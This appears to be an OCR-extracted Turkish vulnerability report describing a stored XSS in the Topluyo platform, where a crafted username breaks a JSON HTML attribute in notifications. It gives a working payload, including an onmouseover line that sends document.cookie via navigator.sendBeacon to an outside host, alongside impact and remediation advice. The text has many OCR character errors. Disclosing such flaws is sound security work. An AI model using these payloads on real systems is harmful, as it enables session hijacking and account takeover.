Stored XSS via JSON Attribute Injection in
Notification Rendering

Ozet

Topluyo platformunda kullanici adi verisi JSON formatinda bir HTML attribute igine
yerlestirilmektedir. Ancak JSON icindeki degerler HTML context’i icin dogru sekilde escape
edilmediginden attribute sinir1 kirilabilmektedir.

Bu durum, tarayicinin HTML parse siirecinde yeni attribute’lar olusturmasina neden olmakta ve
saldirganin onmouseover gibi event handler attribute’lar1 enjekte ederek JavaScript
calistirabilmesine imkan tanimaktadir.

Zafiyet 6zellikle bildirim (notification) acildiginda tetiklenmektedir ve stored XSS olarak
degerlendirilebilir.

Teknik Detaylar

1. Root Cause

Kullanici adi degeri bir div elementinin i¢inde JSON attribute olarak render edilmektedir.

Ornek yapu:

<div data-json='{"name":"USERNAME"}'></div>
Ancak kullanic1 adi iginde bogluk oldugunda JSON degeri HTML tarafinda dogru sekilde escape

edilmedigi i¢in tarayic attribute parse ederken bu degeri bélmektedir.

Ornek kullanici adi:

siber giz1iligi koruma teskilati
Tarayic1 bunu su sekilde yorumlayabilmektedir:

siber="" giz1iligi="" koruma="" teskilati=""
Bu durum JSON attribute’un kirilmasina ve yeni HTML attribute’larinin olusturulmasina neden

olur.

Exploit Stireci

Saldirgan kullanic1 adin1 asagidaki gibi ayarlayabilir:

isim onmouseover=alert(1) isim
Render edilen HTML su hale gelir:

isim="" onmouseover="alert(1)" isim=""
Bu durumda onmouseover gercek bir HTML event attribute’u olarak DOM’a eklenir.



Payload Gelistirme

Standart payload’larda:

karakterleri output encode edildigi icin dogrudan kullanilamamaktadir.
Ancak JavaScript payload’1 backtick (°) kullanilarak tetiklenebilmektedir.

Ornek payload:

onmouseover=navigator.sendBeacon( https://sibergkt.com/kaydet/
log.php™,document.cookie)

Bu payload calistiginda kullanicinin cookie bilgisi saldirgan sunucusuna gonderilebilmektedir.

Trigger Senaryosu

Zafiyet dogrudan profil goriintiilemede tetiklenmemektedir.

Ancak su senaryoda ¢alismaktadir:

—_

. Saldirgan 6zel hazirlanmis kullanici adi olusturur.

2. Saldirgan bagka bir kullaniciya bildirim génderir.

3. Hedef kullanic1 bildirimi ac¢tiginda DOM yeniden render edilir.
4. HTML attribute kirilmasi gerceklesir.

5. onmouseover event handler calisir.

6. JavaScript payload tetiklenir.

Bu nedenle zafiyet Stored XSS kategorisine girmektedir.

Etki (Impact)
Basarili exploit sonucunda saldirgan:
* Kaullanici session cookie’lerini ele gecirebilir
» Kaullanici hesabi iizerinde islem yapabilir
* Yetki yiikseltme zincirleri olusturabilir
* Bildirim sistemi {izerinden ¢ok sayida kullaniciy1 etkileyebilir

Eger bildirimler toplu olarak gonderilebiliyorsa zafiyet genis capli hesap ele gecirmeye yol acabilir.




Onerilen Cozim
Asagidaki giivenlik 6nlemleri uygulanmalidir:

1. Kullana verileri HTML attribute icine yerlestirilmeden 6nce HTML attribute encoding
uygulanmalidir.

2. JSON verisi dogrudan HTML attribute icine yazilmamalidir.

3. Kullania verisi DOM’a yazilirken giivenli yontemler kullanilmahdir:
* textContent

* setAttribute
4. Event handler attribute’larinin (on*) DOM’a eklenmesi engellenmelidir.

5. CSP (Content Security Policy) uygulanmaldir.

Zafiyet Turu

Stored Cross-Site Scripting (XSS)
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